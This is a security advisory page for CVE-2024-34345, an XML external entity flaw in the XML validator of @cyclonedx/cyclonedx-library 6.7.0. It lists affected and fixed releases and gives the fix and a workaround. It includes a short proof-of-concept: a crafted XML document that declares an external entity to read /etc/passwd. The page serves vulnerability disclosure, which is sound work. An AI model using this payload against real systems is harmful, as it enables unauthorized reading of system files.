Packages / @cyclonedx/cyclonedx-library / Security

HighVulnerabilityGHSA-38gf-rh2w-gmj7CVE-2024-34345Published 8 May 2024

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Your version

Affected releases · @cyclonedx/cyclonedx-library

  • 6.x6.7.0Fixed in 6.7.1

On 6.x, the newest line:

npm install @cyclonedx/cyclonedx-library@6.7.1
Every release on a timeline
10.x
  1. Not affected

    10.0.0 – 10.5.1

    8 releases, latest

6.x
  1. Not affected

    6.0.0 – 6.6.1

    16 releases

  2. Affected

    6.7.0

    1 release

  3. Fixed

    6.7.1 – 6.13.1

    14 releases

92 stable releases of @cyclonedx/cyclonedx-library, oldest to newest, one row per major.

What happens

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/cyclonedx-library@6.7.1 .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

  • issue was introduced via #1063.

A whole project to check? Paste its package.json in the dependency check: every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.